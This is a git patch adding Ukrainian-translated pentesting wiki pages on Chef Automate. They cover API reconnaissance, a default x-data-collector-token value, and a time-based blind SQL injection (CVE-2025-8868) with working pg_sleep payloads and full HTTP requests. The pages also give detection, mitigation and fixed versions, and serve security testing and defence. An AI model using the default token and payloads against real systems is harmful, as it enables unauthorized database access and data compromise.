From e6b537bc2409769129e2e0817d4b6826c4a41874 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 19:23:32 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA --- .../chef-automate-security/README.md | 18 +++ .../chef-automate-enumeration-and-attacks.md | 142 ++++++++++++++++++ .../gcp-post-exploitation/README.md | 2 - 3 files changed, 160 insertions(+), 2 deletions(-) create mode 100644 src/pentesting-ci-cd/chef-automate-security/README.md create mode 100644 src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md diff --git a/src/pentesting-ci-cd/chef-automate-security/README.md b/src/pentesting-ci-cd/chef-automate-security/README.md new file mode 100644 index 000000000..cd60406be --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/README.md @@ -0,0 +1,18 @@ +# Chef Automate Security + +{{#include ../../banners/hacktricks-training.md}} + +## Що таке Chef Automate + +Chef Automate — платформа для автоматизації інфраструктури, відповідності та доставки застосунків. Вона надає веб-інтерфейс (зазвичай Angular), який спілкується з backend gRPC services через gRPC-Gateway, забезпечуючи REST-like endpoints за шляхами на кшталт /api/v0/. + +- Поширені компоненти бекенду: gRPC services, PostgreSQL (часто видно через префікси pq: error), data-collector ingest service +- Механізми автентифікації: user/API tokens та заголовок токена data-collector x-data-collector-token + +## Енумерація & атаки + +{{#ref}} +chef-automate-enumeration-and-attacks.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md new file mode 100644 index 000000000..61a1b4226 --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md @@ -0,0 +1,142 @@ +# Chef Automate Перерахування та атаки + +{{#include ../../banners/hacktricks-training.md}} + +## Огляд + +На цій сторінці зібрані практичні техніки для виявлення та атак на інстанси Chef Automate, із акцентом на: +- Виявлення REST-ендпойнтів, підключених через gRPC-Gateway, та виведення схем запитів за допомогою повідомлень валідації/помилок +- Зловживання заголовком аутентифікації x-data-collector-token, коли присутні значення за замовчуванням +- Часозалежний сліпий SQL injection у Compliance API (CVE-2025-8868), що впливає на поле filters[].type у /api/v0/compliance/profiles/search + +> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services. + +## Розвідка: архітектура та сигнатури + +- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...) +- API transport: REST to gRPC via gRPC-Gateway +- Responses may include grpc-metadata-content-type: application/grpc +- Database/driver fingerprints: +- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver +- Interesting Compliance endpoints (auth required): +- POST /api/v0/compliance/profiles/search +- POST /api/v0/compliance/scanner/jobs/search + +## Аутентифікація: Data Collector Token (x-data-collector-token) + +Chef Automate надає data collector, який аутентифікує запити через спеціальний заголовок: + +- Header: x-data-collector-token +- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild: +- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening. + +## Виведення схеми API через виявлення на основі помилок + +gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model. + +For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with: + +- type: string (filter field identifier) +- values: array of strings + +Example request shape: +```json +{ +"filters": [ +{ "type": "name", "values": ["test"] } +] +} +``` +Некоректний JSON або неправильні типи полів зазвичай викликають помилки 4xx/5xx з підказками, а заголовки вказують на поведінку gRPC-Gateway. Використовуйте це, щоб зіставити поля та локалізувати поверхні ін'єкцій. + +## Compliance API SQL Injection (CVE-2025-8868) + +- Затронутий endpoint: POST /api/v0/compliance/profiles/search +- Injection point: filters[].type +- Клас вразливості: time-based blind SQL injection in PostgreSQL +- Причина: відсутність належної параметризації/перевірки за білим списком при інтерполяції поля type в динамічний SQL-фрагмент (ймовірно використовується для побудови ідентифікаторів/WHERE-умов). Сконструйовані значення в type виконуються PostgreSQL. + +Working time-based payload: +```json +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Technique notes: +- Закрийте вихідний рядок одинарною лапкою (') +- Додайте підзапит, який викликає pg_sleep(N) +- Знову уведіть контекст рядка через ||, щоб фінальний SQL залишався синтаксично валідним незалежно від того, де вставлено type + +### Доказ через диференційну затримку + +Надішліть пару запитів і порівняйте часи відповіді, щоб підтвердити виконання на боці сервера: + +- N = 1 секунда +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]} +``` +- N = 5 секунд +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Observed behavior: +- Час відповіді масштабується відповідно до pg_sleep(N) +- HTTP 500 відповіді можуть містити pq: деталі під час пробування, що підтверджує шляхи виконання SQL + +> Порада: Використовуйте таймінговий валідатор (наприклад, кілька запусків із статистичним порівнянням), щоб зменшити шум та false positives. + +### Impact + +Аутентифіковані користувачі — або неаутентифіковані дії, що зловживають дефолтним x-data-collector-token — можуть виконувати довільний SQL у контексті PostgreSQL Chef Automate, що ставить під загрозу конфіденційність та цілісність профілів відповідності, конфігурації та телеметрії. + +### Affected versions / Fix + +- CVE: CVE-2025-8868 +- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories + +## Detection and Forensics + +- API layer: +- Моніторити 500 відповіді на /api/v0/compliance/profiles/search коли filters[].type містить лапки ('), конкатенацію (||) або посилання на функції типу pg_sleep +- Інспектувати заголовки відповіді на наявність grpc-metadata-content-type для ідентифікації потоків gRPC-Gateway +- Database layer (PostgreSQL): +- Аудит викликів pg_sleep та помилок malformed identifier (часто проявляються з префіксами pq:, що приходять від Go pq driver) +- Authentication: +- Логувати та генерувати алерти про використання x-data-collector-token, особливо відомих дефолтних значень, у межах API шляхів + +## Mitigations and Hardening + +- Immediate: +- Змінити/вимкнути дефолтні токени data collector +- Обмежити вхідний трафік до endpoint-ів data collector; вимагати сильні, унікальні токени +- Code-level: +- Параметризувати запити; ніколи не робити string-concatenate SQL фрагментів +- Строго whitelist-ити дозволені значення type на сервері (enum) +- Уникати динамічної збірки SQL для ідентифікаторів/клауз; якщо потрібна динаміка — використовувати безпечне екранування ідентифікаторів та явні whitelist-и + +## Practical Testing Checklist + +- Перевірити, чи приймається x-data-collector-token і чи працює відоме дефолтне значення +- Змапити схему запитів Compliance API, індукуючи помилки валідації та читаючи повідомлення про помилки/заголовки +- Тестувати на SQLi у менш очевидних полях, схожих на ідентифікатори (наприклад, filters[].type), а не лише в масивах значень або топ-рівневих текстових полях +- Використовувати тайм-бейзовані техніки з конкатенацією, щоб зберегти синтаксичну валідність SQL у різних контекстах + +## References + +- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate) +- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/) +- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868) +- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway) +- [pq PostgreSQL driver for Go](https://github.com/lib/pq) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index f056330cf..b16f7d106 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,5 +1,3 @@ # GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} - -{{#include ../../../banners/hacktricks-training.md}}